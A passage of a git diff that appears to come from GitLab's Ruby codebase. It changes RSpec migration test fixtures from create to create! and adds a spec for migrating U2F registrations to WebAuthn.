- services.create(type: 'GitlabIssueTrackerService', properties: {}, category: 'issue_tracker')
+ services.create!(type: 'GitlabIssueTrackerService', properties: {}, category: 'issue_tracker')
end
let!(:other_service) do
- services.create(type: 'OtherService', properties: properties, category: 'other_category')
+ services.create!(type: 'OtherService', properties: properties, category: 'other_category')
end
before do
diff --git a/spec/migrations/20200122123016_backfill_project_settings_spec.rb b/spec/migrations/20200122123016_backfill_project_settings_spec.rb
index 60c6206a83b..9ae492a36aa 100644
--- a/spec/migrations/20200122123016_backfill_project_settings_spec.rb
+++ b/spec/migrations/20200122123016_backfill_project_settings_spec.rb
@@ -5,16 +5,16 @@ require Rails.root.join('db', 'post_migrate', '20200122123016_backfill_project_s
RSpec.describe BackfillProjectSettings, :sidekiq, schema: 20200114113341 do
let(:projects) { table(:projects) }
- let(:namespace) { table(:namespaces).create(name: 'user', path: 'user') }
- let(:project) { projects.create(namespace_id: namespace.id) }
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
describe '#up' do
before do
stub_const("#{described_class}::BATCH_SIZE", 2)
- projects.create(id: 1, namespace_id: namespace.id)
- projects.create(id: 2, namespace_id: namespace.id)
- projects.create(id: 3, namespace_id: namespace.id)
+ projects.create!(id: 1, namespace_id: namespace.id)
+ projects.create!(id: 2, namespace_id: namespace.id)
+ projects.create!(id: 3, namespace_id: namespace.id)
end
it 'schedules BackfillProjectSettings background jobs' do
diff --git a/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb b/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb
index e69a30752db..a6ef0b29461 100644
--- a/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb
+++ b/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe RemoveInvalidJiraData do
let(:jira_tracker_data) { table(:jira_tracker_data) }
let(:services) { table(:services) }
- let(:service) { services.create(id: 1) }
+ let(:service) { services.create!(id: 1) }
let(:data) do
{
service_id: service.id,
@@ -22,49 +22,49 @@ RSpec.describe RemoveInvalidJiraData do
}
end
- let!(:valid_data) { jira_tracker_data.create(data) }
- let!(:empty_data) { jira_tracker_data.create(service_id: service.id) }
+ let!(:valid_data) { jira_tracker_data.create!(data) }
+ let!(:empty_data) { jira_tracker_data.create!(service_id: service.id) }
let!(:invalid_api_url) do
data[:encrypted_api_url_iv] = nil
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
let!(:missing_api_url) do
data[:encrypted_api_url] = ''
data[:encrypted_api_url_iv] = nil
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
let!(:invalid_url) do
data[:encrypted_url_iv] = nil
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
let!(:missing_url) do
data[:encrypted_url] = ''
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
let!(:invalid_username) do
data[:encrypted_username_iv] = nil
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
let!(:missing_username) do
data[:encrypted_username] = nil
data[:encrypted_username_iv] = nil
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
let!(:invalid_password) do
data[:encrypted_password_iv] = nil
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
let!(:missing_password) do
data[:encrypted_password] = nil
data[:encrypted_username_iv] = nil
- jira_tracker_data.create(data)
+ jira_tracker_data.create!(data)
end
it 'removes the invalid data' do
diff --git a/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb b/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb
index e7917cf5d72..9ddf188b15e 100644
--- a/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb
+++ b/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe RemoveInvalidIssueTrackerData do
let(:issue_tracker_data) { table(:issue_tracker_data) }
let(:services) { table(:services) }
- let(:service) { services.create(id: 1) }
+ let(:service) { services.create!(id: 1) }
let(:data) do
{
service_id: service.id,
@@ -20,38 +20,38 @@ RSpec.describe RemoveInvalidIssueTrackerData do
}
end
- let!(:valid_data) { issue_tracker_data.create(data) }
- let!(:empty_data) { issue_tracker_data.create(service_id: service.id) }
+ let!(:valid_data) { issue_tracker_data.create!(data) }
+ let!(:empty_data) { issue_tracker_data.create!(service_id: service.id) }
let!(:invalid_issues_url) do
data[:encrypted_issues_url_iv] = nil
- issue_tracker_data.create(data)
+ issue_tracker_data.create!(data)
end
let!(:missing_issues_url) do
data[:encrypted_issues_url] = ''
data[:encrypted_issues_url_iv] = nil
- issue_tracker_data.create(data)
+ issue_tracker_data.create!(data)
end
let!(:invalid_new_isue_url) do
data[:encrypted_new_issue_url_iv] = nil
- issue_tracker_data.create(data)
+ issue_tracker_data.create!(data)
end
let!(:missing_new_issue_url) do
data[:encrypted_new_issue_url] = ''
- issue_tracker_data.create(data)
+ issue_tracker_data.create!(data)
end
let!(:invalid_project_url) do
data[:encrypted_project_url_iv] = nil
- issue_tracker_data.create(data)
+ issue_tracker_data.create!(data)
end
let!(:missing_project_url) do
data[:encrypted_project_url] = nil
data[:encrypted_project_url_iv] = nil
- issue_tracker_data.create(data)
+ issue_tracker_data.create!(data)
end
it 'removes the invalid data' do
diff --git a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
index e140be476ab..9947718d11b 100644
--- a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
+++ b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
@@ -15,35 +15,35 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
end
let!(:jira_service) do
- services.create(id: 10, type: 'JiraService', properties: properties, category: 'issue_tracker')
+ services.create!(id: 10, type: 'JiraService', properties: properties, category: 'issue_tracker')
end
let!(:jira_service_nil) do
- services.create(id: 11, type: 'JiraService', properties: nil, category: 'issue_tracker')
+ services.create!(id: 11, type: 'JiraService', properties: nil, category: 'issue_tracker')
end
let!(:bugzilla_service) do
- services.create(id: 12, type: 'BugzillaService', properties: properties, category: 'issue_tracker')
+ services.create!(id: 12, type: 'BugzillaService', properties: properties, category: 'issue_tracker')
end
let!(:youtrack_service) do
- services.create(id: 13, type: 'YoutrackService', properties: properties, category: 'issue_tracker')
+ services.create!(id: 13, type: 'YoutrackService', properties: properties, category: 'issue_tracker')
end
let!(:youtrack_service_empty) do
- services.create(id: 14, type: 'YoutrackService', properties: '', category: 'issue_tracker')
+ services.create!(id: 14, type: 'YoutrackService', properties: '', category: 'issue_tracker')
end
let!(:gitlab_service) do
- services.create(id: 15, type: 'GitlabIssueTrackerService', properties: properties, category: 'issue_tracker')
+ services.create!(id: 15, type: 'GitlabIssueTrackerService', properties: properties, category: 'issue_tracker')
end
let!(:gitlab_service_empty) do
- services.create(id: 16, type: 'GitlabIssueTrackerService', properties: {}, category: 'issue_tracker')
+ services.create!(id: 16, type: 'GitlabIssueTrackerService', properties: {}, category: 'issue_tracker')
end
let!(:other_service) do
- services.create(id: 17, type: 'OtherService', properties: properties, category: 'other_category')
+ services.create!(id: 17, type: 'OtherService', properties: properties, category: 'other_category')
end
before do
@@ -69,7 +69,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
let(:jira_tracker_data) { table(:jira_tracker_data) }
let!(:valid_issue_tracker_data) do
- issue_tracker_data.create(
+ issue_tracker_data.create!(
service_id: bugzilla_service.id,
encrypted_issues_url: 'http://url.com',
encrypted_issues_url_iv: 'somevalue'
@@ -77,7 +77,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
end
let!(:invalid_issue_tracker_data) do
- issue_tracker_data.create(
+ issue_tracker_data.create!(
service_id: bugzilla_service.id,
encrypted_issues_url: 'http:url.com',
encrypted_issues_url_iv: nil
@@ -85,7 +85,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
end
let!(:valid_jira_tracker_data) do
- jira_tracker_data.create(
+ jira_tracker_data.create!(
service_id: bugzilla_service.id,
encrypted_url: 'http://url.com',
encrypted_url_iv: 'somevalue'
@@ -93,7 +93,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
end
let!(:invalid_jira_tracker_data) do
- jira_tracker_data.create(
+ jira_tracker_data.create!(
service_id: bugzilla_service.id,
encrypted_url: 'http://url.com',
encrypted_url_iv: nil
diff --git a/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb b/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb
index d9ce62fe475..f16e7b483e9 100644
--- a/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb
+++ b/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb
@@ -9,9 +9,9 @@ RSpec.describe RemoveOrphanedChatNames, schema: 20200313202430 do
let(:services) { table(:services) }
let(:chat_names) { table(:chat_names) }
- let(:namespace) { namespaces.create(name: 'foo', path: 'foo') }
- let(:project) { projects.create(namespace_id: namespace.id) }
- let(:service) { services.create(project_id: project.id, type: 'chat') }
+ let(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
+ let(:service) { services.create!(project_id: project.id, type: 'chat') }
let(:chat_name) { chat_names.create!(service_id: service.id, team_id: 'TEAM', user_id: 12345, chat_id: 12345) }
let(:orphaned_chat_name) { chat_names.create!(team_id: 'TEAM', service_id: 0, user_id: 12345, chat_id: 12345) }
diff --git a/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb b/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
index c6b221b09a5..9950cc23889 100644
--- a/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
+++ b/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
@@ -8,10 +8,10 @@ RSpec.describe BackfillDeploymentClustersFromDeployments, :migration, :sidekiq,
it 'schedules BackfillDeploymentClustersFromDeployments background jobs' do
stub_const("#{described_class}::BATCH_SIZE", 2)
- namespace = table(:namespaces).create(name: 'the-namespace', path: 'the-path')
- project = table(:projects).create(name: 'the-project', namespace_id: namespace.id)
- environment = table(:environments).create(name: 'the-environment', project_id: project.id, slug: 'slug')
- cluster = table(:clusters).create(name: 'the-cluster')
+ namespace = table(:namespaces).create!(name: 'the-namespace', path: 'the-path')
+ project = table(:projects).create!(name: 'the-project', namespace_id: namespace.id)
+ environment = table(:environments).create!(name: 'the-environment', project_id: project.id, slug: 'slug')
+ cluster = table(:clusters).create!(name: 'the-cluster')
deployment_data = { cluster_id: cluster.id, project_id: project.id, environment_id: environment.id, ref: 'abc', tag: false, sha: 'sha', status: 1 }
@@ -44,7 +44,7 @@ RSpec.describe BackfillDeploymentClustersFromDeployments, :migration, :sidekiq,
def create_deployment(**data)
@iid ||= 0
@iid += 1
- table(:deployments).create(iid: @iid, **data)
+ table(:deployments).create!(iid: @iid, **data)
end
end
end
diff --git a/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb b/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb
index f2698a0f352..9d3851ed5b0 100644
--- a/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb
+++ b/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb
@@ -10,19 +10,19 @@ RSpec.describe DedupMrMetrics, :migration, schema: 20200526013844 do
let(:metrics) { table(:merge_request_metrics) }
let(:merge_request_params) { { source_branch: 'x', target_branch: 'y', target_project_id: project.id } }
- let!(:namespace) { namespaces.create(name: 'foo', path: 'foo') }
+ let!(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
let!(:project) { projects.create!(namespace_id: namespace.id) }
let!(:merge_request_1) { merge_requests.create!(merge_request_params) }
let!(:merge_request_2) { merge_requests.create!(merge_request_params) }
let!(:merge_request_3) { merge_requests.create!(merge_request_params) }
- let!(:duplicated_metrics_1) { metrics.create(merge_request_id: merge_request_1.id, latest_build_started_at: 1.day.ago, first_deployed_to_production_at: 5.days.ago, updated_at: 2.months.ago) }
- let!(:duplicated_metrics_2) { metrics.create(merge_request_id: merge_request_1.id, latest_build_started_at: Time.now, merged_at: Time.now, updated_at: 1.month.ago) }
+ let!(:duplicated_metrics_1) { metrics.create!(merge_request_id: merge_request_1.id, latest_build_started_at: 1.day.ago, first_deployed_to_production_at: 5.days.ago, updated_at: 2.months.ago) }
+ let!(:duplicated_metrics_2) { metrics.create!(merge_request_id: merge_request_1.id, latest_build_started_at: Time.now, merged_at: Time.now, updated_at: 1.month.ago) }
- let!(:duplicated_metrics_3) { metrics.create(merge_request_id: merge_request_3.id, diff_size: 30, commits_count: 20, updated_at: 2.months.ago) }
- let!(:duplicated_metrics_4) { metrics.create(merge_request_id: merge_request_3.id, added_lines: 5, commits_count: nil, updated_at: 1.month.ago) }
+ let!(:duplicated_metrics_3) { metrics.create!(merge_request_id: merge_request_3.id, diff_size: 30, commits_count: 20, updated_at: 2.months.ago) }
+ let!(:duplicated_metrics_4) { metrics.create!(merge_request_id: merge_request_3.id, added_lines: 5, commits_count: nil, updated_at: 1.month.ago) }
- let!(:non_duplicated_metrics) { metrics.create(merge_request_id: merge_request_2.id, latest_build_started_at: 2.days.ago) }
+ let!(:non_duplicated_metrics) { metrics.create!(merge_request_id: merge_request_2.id, latest_build_started_at: 2.days.ago) }
it 'deduplicates merge_request_metrics table' do
expect { migrate! }.to change { metrics.count }.from(5).to(3)
diff --git a/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb b/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb
index f1fe27e72a1..b33320c922a 100644
--- a/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb
+++ b/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb
@@ -6,7 +6,7 @@ require Rails.root.join('db', 'migrate', '20200122161638_add_deploy_token_type_t
RSpec.describe AddDeployTokenTypeToDeployTokens do
let(:deploy_tokens) { table(:deploy_tokens) }
let(:deploy_token) do
- deploy_tokens.create(name: 'token_test',
+ deploy_tokens.create!(name: 'token_test',
username: 'gitlab+deploy-token-1',
token_encrypted: 'dr8rPXwM+Mbs2p3Bg1+gpnXqrnH/wu6vaHdcc7A3isPR67WB',
read_repository: true,
diff --git a/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb b/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb
index dab42c0ffc3..a62fc43df02 100644
--- a/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb
+++ b/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe AddIncidentSettingsToAllExistingProjects, :migration do
RSpec.shared_context 'with incident settings' do
let(:existing_create_issue) { false }
before do
- project_incident_management_settings.create(
+ project_incident_management_settings.create!(
project_id: project.id,
create_issue: existing_create_issue
)
diff --git a/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb b/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb
index 6c04be5fc60..391bc59cdc0 100644
--- a/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb
+++ b/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb
@@ -12,15 +12,15 @@ RSpec.describe AddUniqueConstraintToApprovalsUserIdAndMergeRequestId do
describe '#up' do
before do
- namespaces.create(id: 1, name: 'ns', path: 'ns')
- projects.create(id: 1, namespace_id: 1)
- merge_requests.create(id: 1, target_branch: 'master', source_branch: 'feature-1', target_project_id: 1)
- merge_requests.create(id: 2, target_branch: 'master', source_branch: 'feature-2', target_project_id: 1)
+ namespaces.create!(id: 1, name: 'ns', path: 'ns')
+ projects.create!(id: 1, namespace_id: 1)
+ merge_requests.create!(id: 1, target_branch: 'master', source_branch: 'feature-1', target_project_id: 1)
+ merge_requests.create!(id: 2, target_branch: 'master', source_branch: 'feature-2', target_project_id: 1)
end
it 'deletes duplicate records and keeps the first one' do
- first_approval = approvals.create(id: 1, merge_request_id: 1, user_id: 1)
- approvals.create(id: 2, merge_request_id: 1, user_id: 1)
+ first_approval = approvals.create!(id: 1, merge_request_id: 1, user_id: 1)
+ approvals.create!(id: 2, merge_request_id: 1, user_id: 1)
migration.up
diff --git a/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb b/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb
index 9d0ad5863c6..6c782af9a31 100644
--- a/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb
+++ b/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe BackfillAndAddNotNullConstraintToReleasedAtColumnOnReleasesTable
it 'fills released_at with the value of created_at' do
created_at_a = Time.zone.parse('2019-02-10T08:00:00Z')
created_at_b = Time.zone.parse('2019-03-10T18:00:00Z')
- namespace = namespaces.create(name: 'foo', path: 'foo')
+ namespace = namespaces.create!(name: 'foo', path: 'foo')
project = projects.create!(namespace_id: namespace.id)
release_a = releases.create!(project_id: project.id, created_at: created_at_a)
release_b = releases.create!(project_id: project.id, created_at: created_at_b)
diff --git a/spec/migrations/backfill_imported_snippet_repositories_spec.rb b/spec/migrations/backfill_imported_snippet_repositories_spec.rb
index 998a691bf77..356551f176e 100644
--- a/spec/migrations/backfill_imported_snippet_repositories_spec.rb
+++ b/spec/migrations/backfill_imported_snippet_repositories_spec.rb
@@ -6,7 +6,7 @@ require Rails.root.join('db', 'post_migrate', '20200608072931_backfill_imported_
RSpec.describe BackfillImportedSnippetRepositories do
let(:users) { table(:users) }
let(:snippets) { table(:snippets) }
- let(:user) { users.create(id: 1, email: 'user@example.com', projects_limit: 10, username: 'test', name: 'Test', state: 'active') }
+ let(:user) { users.create!(id: 1, email: 'user@example.com', projects_limit: 10, username: 'test', name: 'Test', state: 'active') }
def create_snippet(id)
params = {
diff --git a/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb b/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb
index 4c3517bc574..22c93d37816 100644
--- a/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb
+++ b/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe BackfillReleasesTableUpdatedAtAndAddNotNullConstraintsToTimestamp
it 'fills null updated_at rows with the value of created_at' do
created_at_a = Time.zone.parse('2014-03-11T04:30:00Z')
created_at_b = Time.zone.parse('2019-09-10T12:00:00Z')
- namespace = namespaces.create(name: 'foo', path: 'foo')
+ namespace = namespaces.create!(name: 'foo', path: 'foo')
project = projects.create!(namespace_id: namespace.id)
release_a = releases.create!(project_id: project.id,
released_at: Time.zone.parse('2014-12-10T06:00:00Z'),
@@ -36,7 +36,7 @@ RSpec.describe BackfillReleasesTableUpdatedAtAndAddNotNullConstraintsToTimestamp
created_at_a = Time.zone.parse('2014-03-11T04:30:00Z')
updated_at_a = Time.zone.parse('2015-01-16T10:00:00Z')
created_at_b = Time.zone.parse('2019-09-10T12:00:00Z')
- namespace = namespaces.create(name: 'foo', path: 'foo')
+ namespace = namespaces.create!(name: 'foo', path: 'foo')
project = projects.create!(namespace_id: namespace.id)
release_a = releases.create!(project_id: project.id,
released_at: Time.zone.parse('2014-12-10T06:00:00Z'),
diff --git a/spec/migrations/backfill_snippet_repositories_spec.rb b/spec/migrations/backfill_snippet_repositories_spec.rb
index 6d417669ad6..b176b8d49ec 100644
--- a/spec/migrations/backfill_snippet_repositories_spec.rb
+++ b/spec/migrations/backfill_snippet_repositories_spec.rb
@@ -6,7 +6,7 @@ require Rails.root.join('db', 'post_migrate', '20200420094444_backfill_snippet_r
RSpec.describe BackfillSnippetRepositories do
let(:users) { table(:users) }
let(:snippets) { table(:snippets) }
- let(:user) { users.create(id: 1, email: 'user@example.com', projects_limit: 10, username: 'test', name: 'Test', state: 'active') }
+ let(:user) { users.create!(id: 1, email: 'user@example.com', projects_limit: 10, username: 'test', name: 'Test', state: 'active') }
def create_snippet(id)
params = {
diff --git a/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb b/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb
index ff5aa81b5b5..7cd3646d107 100644
--- a/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb
+++ b/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe EncryptPlaintextAttributesOnApplicationSettings do
describe '#up' do
it 'encrypts token and saves it' do
- application_setting = application_settings.create
+ application_setting = application_settings.create!
application_setting.update_columns(
plaintext_attributes.each_with_object({}) do |plaintext_attribute, attributes|
attributes[plaintext_attribute] = plaintext
@@ -39,7 +39,7 @@ RSpec.describe EncryptPlaintextAttributesOnApplicationSettings do
describe '#down' do
it 'decrypts encrypted token and saves it' do
- application_setting = application_settings.create(
+ application_setting = application_settings.create!(
plaintext_attributes.each_with_object({}) do |plaintext_attribute, attributes|
attributes[plaintext_attribute] = plaintext
end
diff --git a/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb b/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
index d4189326366..2bbc67c4db3 100644
--- a/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
+++ b/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
@@ -6,8 +6,8 @@ require Rails.root.join('db', 'post_migrate', '20190620112608_enqueue_reset_merg
RSpec.describe EnqueueResetMergeStatusSecondRun do
let(:namespaces) { table(:namespaces) }
let(:projects) { table(:projects) }
- let(:namespace) { namespaces.create(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create(namespace_id: namespace.id, name: 'foo') }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
let(:merge_requests) { table(:merge_requests) }
def create_merge_request(id, extra_params = {})
diff --git a/spec/migrations/enqueue_reset_merge_status_spec.rb b/spec/migrations/enqueue_reset_merge_status_spec.rb
index c581293ddcd..0843bbacd5f 100644
--- a/spec/migrations/enqueue_reset_merge_status_spec.rb
+++ b/spec/migrations/enqueue_reset_merge_status_spec.rb
@@ -6,8 +6,8 @@ require Rails.root.join('db', 'post_migrate', '20190528180441_enqueue_reset_merg
RSpec.describe EnqueueResetMergeStatus do
let(:namespaces) { table(:namespaces) }
let(:projects) { table(:projects) }
- let(:namespace) { namespaces.create(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create(namespace_id: namespace.id, name: 'foo') }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
let(:merge_requests) { table(:merge_requests) }
def create_merge_request(id, extra_params = {})
diff --git a/spec/migrations/ensure_namespace_settings_creation_spec.rb b/spec/migrations/ensure_namespace_settings_creation_spec.rb
index 8574063f7fe..cececc1e569 100644
--- a/spec/migrations/ensure_namespace_settings_creation_spec.rb
+++ b/spec/migrations/ensure_namespace_settings_creation_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe EnsureNamespaceSettingsCreation do
end
end
- it 'schedules migrations in batches ' do
+ it 'schedules migrations in batches' do
stub_const("#{described_class.name}::BATCH_SIZE", 2)
namespace_3 = namespaces.create!(name: 'gitlab', path: 'gitlab-org3')
diff --git a/spec/migrations/ensure_u2f_registrations_migrated_spec.rb b/spec/migrations/ensure_u2f_registrations_migrated_spec.rb
new file mode 100644
index 00000000000..77eab3b829a
--- /dev/null
+++ b/spec/migrations/ensure_u2f_registrations_migrated_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20201026185514_ensure_u2f_registrations_migrated.rb')
+
+RSpec.describe EnsureU2fRegistrationsMigrated, schema: 20201022144501 do
+ let(:u2f_registrations) { table(:u2f_registrations) }
+ let(:webauthn_registrations) { table(:webauthn_registrations) }
+ let(:users) { table(:users) }
+
+ let(:user) { users.create!(email: 'email@email.com', name: 'foo', username: 'foo', projects_limit: 0) }
+
+ before do
+ create_u2f_registration(1, 'reg1')
+ create_u2f_registration(2, 'reg2')
+ webauthn_registrations.create!({ name: 'reg1', u2f_registration_id: 1, credential_xid: '', public_key: '', user_id: user.id })
+ end
+
+ it 'correctly migrates u2f registrations previously not migrated' do
+ expect { migrate! }.to change { webauthn_registrations.count }.from(1).to(2)
+ end
+
+ it 'migrates all valid u2f registrations depite errors' do
+ create_u2f_registration(3, 'reg3', 'invalid!')
+ create_u2f_registration(4, 'reg4')
+
+ expect { migrate! }.to change { webauthn_registrations.count }.from(1).to(3)
+ end
+
+ def create_u2f_registration(id, name, public_key = nil)
+ device = U2F::FakeU2F.new(FFaker::BaconIpsum.characters(5), { key_handle: SecureRandom.random_bytes(255) })
+ public_key ||= Base64.strict_encode64(device.origin_public_key_raw)
+ u2f_registrations.create!({ id: id,
+ certificate: Base64.strict_encode64(device.cert_raw),
+ key_handle: U2F.urlsafe_encode64(device.key_handle_raw),
+ public_key: public_key,
+ counter: 5,
+ name: name,
+ user_id: user.id })
+ end
+end
diff --git a/spec/migrations/fill_file_store_lfs_objects_spec.rb b/spec/migrations/fill_file_store_lfs_objects_spec.rb
index 2a610e5311b..23063cc9cd0 100644
--- a/spec/migrations/fill_file_store_lfs_objects_spec.rb
+++ b/spec/migrations/fill_file_store_lfs_objects_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe FillFileStoreLfsObjects do
context 'when file_store is nil' do
it 'updates file_store to local' do
- lfs_objects.create(oid: oid, size: 1062, file_store: nil)
+ lfs_objects.create!(oid: oid, size: 1062, file_store: nil)
lfs_object = lfs_objects.find_by(oid: oid)
expect { migrate! }.to change { lfs_object.reload.file_store }.from(nil).to(1)
@@ -18,7 +18,7 @@ RSpec.describe FillFileStoreLfsObjects do
context 'when file_store is set to local' do
it 'does not update file_store' do
- lfs_objects.create(oid: oid, size: 1062, file_store: 1)
+ lfs_objects.create!(oid: oid, size: 1062, file_store: 1)
lfs_object = lfs_objects.find_by(oid: oid)
expect { migrate! }.not_to change { lfs_object.reload.file_store }
@@ -27,7 +27,7 @@ RSpec.describe FillFileStoreLfsObjects do
context 'when file_store is set to object storage' do
it 'does not update file_store' do
- lfs_objects.create(oid: oid, size: 1062, file_store: 2)
+ lfs_objects.create!(oid: oid, size: 1062, file_store: 2)
lfs_object = lfs_objects.find_by(oid: oid)
expect { migrate! }.not_to change { lfs_object.reload.file_store }
diff --git a/spec/migrations/fill_store_uploads_spec.rb b/spec/migrations/fill_store_uploads_spec.rb
index 60eaf982c57..bcb5d45e1c0 100644
--- a/spec/migrations/fill_store_uploads_spec.rb
+++ b/spec/migrations/fill_store_uploads_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe FillStoreUploads do
context 'when store is nil' do
it 'updates store to local' do
- uploads.create(size: 100.kilobytes,
+ uploads.create!(size: 100.kilobytes,
uploader: 'AvatarUploader',
path: path,
store: nil)
@@ -22,7 +22,7 @@ RSpec.describe FillStoreUploads do
context 'when store is set to local' do
it 'does not update store' do
- uploads.create(size: 100.kilobytes,
+ uploads.create!(size: 100.kilobytes,
uploader: 'AvatarUploader',
path: path,
store: 1)
@@ -35,7 +35,7 @@ RSpec.describe FillStoreUploads do
context 'when store is set to object storage' do
it 'does not update store' do
- uploads.create(size: 100.kilobytes,
+ uploads.create!(size: 100.kilobytes,
uploader: 'AvatarUploader',
path: path,
store: 2)
diff --git a/spec/migrations/fix_null_type_labels_spec.rb b/spec/migrations/fix_null_type_labels_spec.rb
index fadc2a5d29e..b3fc0e30687 100644
--- a/spec/migrations/fix_null_type_labels_spec.rb
+++ b/spec/migrations/fix_null_type_labels_spec.rb
@@ -10,14 +10,14 @@ RSpec.describe FixNullTypeLabels do
let(:labels) { table(:labels) }
before do
- group = namespaces.create(name: 'labels-test-project', path: 'labels-test-project', type: 'Group')
+ group = namespaces.create!(name: 'labels-test-project', path: 'labels-test-project', type: 'Group')
project = projects.create!(namespace_id: group.id, name: 'labels-test-group', path: 'labels-test-group')
- @template_label = labels.create(title: 'template', template: true)
- @project_label = labels.create(title: 'project label', project_id: project.id, type: 'ProjectLabel')
- @group_label = labels.create(title: 'group_label', group_id: group.id, type: 'GroupLabel')
- @broken_label_1 = labels.create(title: 'broken 1', project_id: project.id)
- @broken_label_2 = labels.create(title: 'broken 2', project_id: project.id)
+ @template_label = labels.create!(title: 'template', template: true)
+ @project_label = labels.create!(title: 'project label', project_id: project.id, type: 'ProjectLabel')
+ @group_label = labels.create!(title: 'group_label', group_id: group.id, type: 'GroupLabel')
+ @broken_label_1 = labels.create!(title: 'broken 1', project_id: project.id)
+ @broken_label_2 = labels.create!(title: 'broken 2', project_id: project.id)
end
describe '#up' do
diff --git a/spec/migrations/fix_pool_repository_source_project_id_spec.rb b/spec/migrations/fix_pool_repository_source_project_id_spec.rb
index 67a75b893ef..3413cef3c8b 100644
--- a/spec/migrations/fix_pool_repository_source_project_id_spec.rb
+++ b/spec/migrations/fix_pool_repository_source_project_id_spec.rb
@@ -13,11 +13,11 @@ RSpec.describe FixPoolRepositorySourceProjectId do
# gitaly is a project with a pool repository that has a source_project_id
gitaly = projects.create!(name: 'gitaly', path: 'gitlab-org/gitaly', namespace_id: 1)
- pool_repository = pool_repositories.create(shard_id: shard.id, source_project_id: gitaly.id)
